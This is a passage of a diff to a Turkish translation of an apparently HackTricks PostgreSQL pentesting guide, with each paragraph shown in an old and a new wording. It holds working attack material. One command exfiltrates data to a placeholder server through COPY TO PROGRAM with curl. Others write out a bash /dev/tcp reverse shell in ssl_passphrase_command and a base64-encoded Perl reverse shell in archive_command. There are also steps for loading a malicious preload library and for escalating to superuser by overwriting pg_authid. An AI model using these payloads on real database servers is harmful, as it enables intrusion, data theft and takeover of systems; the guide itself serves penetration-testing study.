6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükleyin ve diske orijinal dosyayı üzerine yazın
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizleyin
7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizleyin
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
@ -371,11 +386,11 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
### **Programa RCE**
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle:
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubu üyeleri, RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle birlikte:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Örnek çalıştırmak için:
Örnek yürütmek için:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
@ -396,7 +411,8 @@ GRANT pg_execute_server_program TO username;
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın. Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilmesine rağmen, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın.\
Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilse de, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
### PostgreSQL Dilleri ile RCE
@ -406,7 +422,7 @@ Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` mod
### PostgreSQL uzantıları ile RCE
Önceki yazıdan **nasıl ikili dosyalar yükleneceğini öğrendikten sonra** **PostgreSQL uzantısı yükleyerek RCE elde etmeyi** deneyebilirsiniz.
Önceki yazıdan **nasıl ikili dosyalar yükleneceğini** öğrendikten sonra **PostgreSQL uzantısı yükleyerek RCE elde etmeyi** deneyebilirsiniz.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
@ -415,68 +431,68 @@ Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` mod
### PostgreSQL yapılandırma dosyası RCE
{% hint style="info" %}
Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır.
Aşağıdaki RCE vektörleri özellikle kısıtlanmış SQLi bağlamlarında kullanışlıdır, çünkü tüm adımlar iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilir.
{% endhint %}
PostgreSQL'nin **yapılandırma dosyası**, **veritabanını çalıştıran** **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sistemine yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.**
PostgreSQL'in **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.**
![](<../.gitbook/assets/image (322).png>)
#### **ssl\_passphrase\_command ile RCE**
#### **ssl\_passphrase\_command** ile RCE
Bu tekniğe ilişkin daha fazla bilgi [burada bulunmaktadır](https://pulsesecurity.co.nz/articles/postgres-sqli).
Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://pulsesecurity.co.nz/articles/postgres-sqli) ulaşabilirsiniz.
Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolu
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir
* `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**.
* `ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut** `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**.
Bu durumda, bir saldırganın yapması gerekenler:
Bu nedenle, bir saldırganın yapması gerekenler:
1. Sunucudan **özel anahtarı** çıkartın
1. Sunucudan **özel anahtarı** dökün
2. İndirilen özel anahtarı **şifreleyin**:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Üzerine yazın**
4. Mevcut postgresql **yapılandırmasını** dökün
5. **Belirtilen özellikler yapılandırmasıyla** yapılandırmayı **üzerine yazın**:
5. Bahsedilen özellikler yapılandırmasıyla **yapılandırmayı üzerine yazın**:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()`'yi çalıştırın
Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması**, **root tarafından sahip olunması** ve **ssl-cert veya postgres grubuna ait olması** (bu nedenle postgres kullanıcısının okuyabilmesi), ve _/var/lib/postgresql/12/main_ dizininde bulunması durumunda çalışacağıdır.
Bu testi yaparken fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalığına** sahip olması durumunda çalışacağıdır, **root tarafından sahiplenilmiş** ve **ssl-cert veya postgres** grubuna ait olduğu (bu nedenle postgres kullanıcısının okuyabileceği) ve _/var/lib/postgresql/12/main_ dizininde bulunduğudur.
#### **archive\_command ile RCE**
#### **archive\_command** ile RCE
Bu yapılandırma ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)** ulaşabilirsiniz.**
Bu yapılandırmaya ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3) ulaşabilirsiniz.
Saldırılabilir bir diğer özellik, yapılandırma dosyasında `archive_command` olarak belirtilmiştir.
Saldırıya açık başka bir özellik, `archive_command` olarak adlandırılan yapılandırma dosyasındadır.
Bu işlem için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
Bu işlem çalışması için `archive_mode` ayarının `'on'` veya `'always'` olması gerekir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
Genel adımlar şunlardır:
1. Arşiv modunun etkin olup olmadığını kontrol edin: `SELECT current_setting('archive_mode')`
2. `archive_command`'ı payload ile üzerine yazın. Örneğin, ters shell için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
2. `archive_command`'ı payload ile üzerine yazın. Örneğin, ters kabuk için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Yapılandırmayı yeniden yükleyin: `SELECT pg_reload_conf()`
4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: `SELECT pg_switch_wal()` veya bazı Postgres sürümleri için `SELECT pg_switch_xlog()`
4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: Bazı Postgres sürümleri için `SELECT pg_switch_xlog()` için `SELECT pg_switch_wal()` veya
#### **preload kütüphaneleri ile RCE**
Bu tekniğe ilişkin daha fazla bilgi [burada bulunmaktadır](https://adeadfed.com/posts/postgresql-select-only-rce/).
Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://adeadfed.com/posts/postgresql-select-only-rce/) ulaşabilirsiniz.
Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanmaktadır:
Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır:
* `session_preload_libraries` -- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler.
* `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi.
`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklenen kütüphanemizi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklenen kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
Saldırı adımları şunlardır:
1. Orijinal `postgresql.conf` dosyasını indirin
2. `dynamic_library_path` değerine `/tmp/` dizinini dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'`
3. Zararlı kütüphane adını `session_preload_libraries` değerine dahil edin, örneğin `session_preload_libraries = 'payload.so'`
3. `session_preload_libraries` değerine zararlı kütüphane adını dahil edin, örneğin `session_preload_libraries = 'payload.so'`
4. `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edin
5. Doğru PostgreSQL geliştirme paketi ile zararlı kütüphane kodunu derleyin Örnek kod:
@ -526,17 +542,17 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
```
6. Adımlar 2-3'te oluşturulan zararlı `postgresql.conf` dosyasını indirin ve orijinalini üzerine yazın
7. Adımda 5'te oluşturulan `payload.so`'yu `/tmp` dizinine yükleyin
8. Sunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya `SELECT pg_reload_conf()` sorgusunu çağırarak yapılandırmayı yeniden yükleyin
9. Bir sonraki DB bağlantısında ters shell bağlantısını alacaksınız.
8. Sunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya `SELECT pg_reload_conf()` sorgusunu çağırarak
9. Bir sonraki DB bağlantısında ters kabuk bağlantısını alacaksınız.
## **Postgres Yetki Yükseltme**
### CREATEROLE Yetki Yükseltme
#### **Verme**
#### **Grant**
[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**`CREATEROLE`** yetkisine sahip roller, **süper kullanıcı** olmayan herhangi bir **role**'e **üyelik verme veya geri alma** yetkisine sahiptir._
[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**`CREATEROLE`** yetkisine sahip roller, **süper kullanıcı** olmayan herhangi bir **role**'e **üyelik verip geri alabilir**._
Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller**e (süper kullanıcı olmayan) erişim izni verebilirsiniz, bu da size dosyaları okuma ve yazma ile komutları çalıştırma seçeneği verebilir:
Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller**'e (süper kullanıcı olmayan) erişim izni verebilir ve bu da size dosya okuma & yazma ve komut yürütme seçeneği sunabilir:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -547,14 +563,14 @@ GRANT pg_write_server_files TO username;
```
#### Parolayı Değiştir
Bu role sahip kullanıcılar ayrıca diğer **süper olmayan kullanıcıların parolalarını değiştirebilirler**:
Bu role sahip kullanıcılar ayrıca diğer **süper olmayan kullanıcıların parolalarını da değiştirebilirler**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### SUPERUSER'a Yükseltme
**Yerel kullanıcıların PostgreSQL'e herhangi bir şifre sağlamadan giriş yapabildiğini sıkça görmek oldukça yaygındır**. Dolayısıyla, **kod yürütme izinlerini topladığınızda** bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
**Yerel kullanıcıların herhangi bir şifre sağlamadan PostgreSQL'e giriş yapabildiğini sıkça görmek oldukça yaygındır**. Dolayısıyla, **kod yürütme izinlerini topladığınızda** bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
@ -572,13 +588,13 @@ host all all ::1/128 trust
### **ALTER TABLE ayrıcalığı**
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl mümkün olduğuıklanmaktadır.
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın mümkün olduğu, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl yapılabileceğiıklanmaktadır.
**Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak görünüşe göre GCP'nin bu **seçeneği GCP'deki süper kullanıcı postgres kullanıcısına** verdiği belirtilmektedir:
**Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı postgres kullanıcısına** verdiği anlaşılmaktadır:
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek düşünebiliriz. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek mümkündür**, ardından kötü niyetli bir işlevle tabloyu ANALYZE etmek, çünkü işlevin sahibinin izinlerini kullanıyor olacak şekilde komutları yürütebilir.
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek düşünebiliriz. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek** ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek kötü niyetli bir fonksiyonla tabloyu ANALYZE etmek mümkündür.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -632,13 +648,13 @@ dbname=somedb',
RETURNS (result TEXT);
```
{% hint style="warning" %}
Önceki sorgunun çalışması için **`dblink` fonksiyonunun var olması gerektiğini** unutmayın. Eğer yoksa aşağıdaki komutu kullanarak oluşturabilirsiniz:
Önceki sorgunun çalışması için **`dblink` fonksiyonunun var olması gerektiğini unutmayın**. Eğer yoksa aşağıdaki komutu kullanarak oluşturabilirsiniz:
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak sorguları o kullanıcı olarak çalıştırabilirsiniz:
Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak o kullanıcı olarak sorguları yürütebilirsiniz:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@ -652,7 +668,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Güvenlik Tanımlayıcısı ile** özel tanımlı işlev
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar, IBM tarafından sağlanan bir postgres örneğinde **bu işlevi buldukları için** içeride bir ayrıcalık yükseltme gerçekleştirebildiler:
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar, IBM tarafından sağlanan bir postgres örneğinde **bu işlevi buldukları için** içeride bir ayrıcalık yükseltme yapabildiler:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -673,9 +689,9 @@ PERFORM dblink_disconnect();
</code></pre>
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **GÜVENLİK TANIMLAYICISI** ile işlev, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, işlev **SQL Enjeksiyonuna duyarlı** ise veya saldırgan tarafından kontrol edilen bazı **açıcalıklı eylemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile** bir işlev, **sahibi olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, işlev **SQL Injection'a duyarlı ise** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler yapıyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
Önceki kodun 4. satırında işlevin **GÜVENLİK TANIMLAYICISI** bayrağını görebilirsiniz.
Önceki kodun 4. satırında işlevin **SECURITY DEFINER** bayrağı olduğunu görebilirsiniz.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@ -685,10 +701,10 @@ Ve sonra **komutları çalıştır**:
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
### PL/pgSQL ile Brute Force Yöntemi Kullanarak Parola Kırma
### PL/pgSQL ile Brute Force Geçişi
**PL/pgSQL**, SQL'e kıyasla daha fazla işlem kontrolü sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar.\
**Bu dilin kötüye kullanımıyla PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvet uygulayabilirsiniz.**
**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar.\
**Bu dilin kötüye kullanımıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force yapmasını isteyebilirsiniz.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -697,12 +713,12 @@ Ve sonra **komutları çalıştır**:
### Dahili PostgreSQL Tablolarını Üzerine Yazarak İstek Yükseltme
{% hint style="info" %}
Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır.
Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır.
{% endhint %}
Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosu ile ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı olabilirsiniz**.
Bu tekniğe ilişkin daha fazla bilgiye [**buradan**](https://adeadfed.com/posts/updating-postgresql-data-without-update/) ulaşabilirsiniz.
Bu tekniğe daha fazla bilgi için [**buraya**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)** bakın.**
Saldırı adımları şunlardır:
@ -710,8 +726,8 @@ Saldırı adımları şunlardır:
2. `pg_authid` tablosu ile ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et
3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indir
4. `pg_authid` tablosu ile ilişkilendirilmiş veri türünü al
5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak dosya düğümünü [düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarla
6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla tekrar yükle ve diskteki orijinal dosyayı üzerine yaz
5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak [dosya düğümünü düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla ve tam izinler ver.
6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diskteki orijinal dosyayı üzerine yaz
7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle
8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız.
@ -725,7 +741,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### günlüğe kaydetme
_**postgresql.conf**_ dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz değiştirerek:
_**postgresql.conf**_ dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz, değiştirerek:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -740,7 +756,7 @@ Sonra, **hizmeti yeniden başlatın**.
[pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\
Parolaları _**pgadmin4.db**_ dosyasının içinde bulabilirsiniz.\
Onları şu betik içindeki _**decrypt**_ fonksiyonunu kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Onları şu betik içindeki _**decrypt**_ işlevini kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
@ -749,20 +765,20 @@ string pgadmin4.db
```
### pg\_hba
PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt bulunmazsa erişim reddedilir.
PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa erişim reddedilir.
pg\_hba.conf'daki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğine göre farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
pg\_hba.conf'daki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -770,7 +786,7 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Sağlayın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
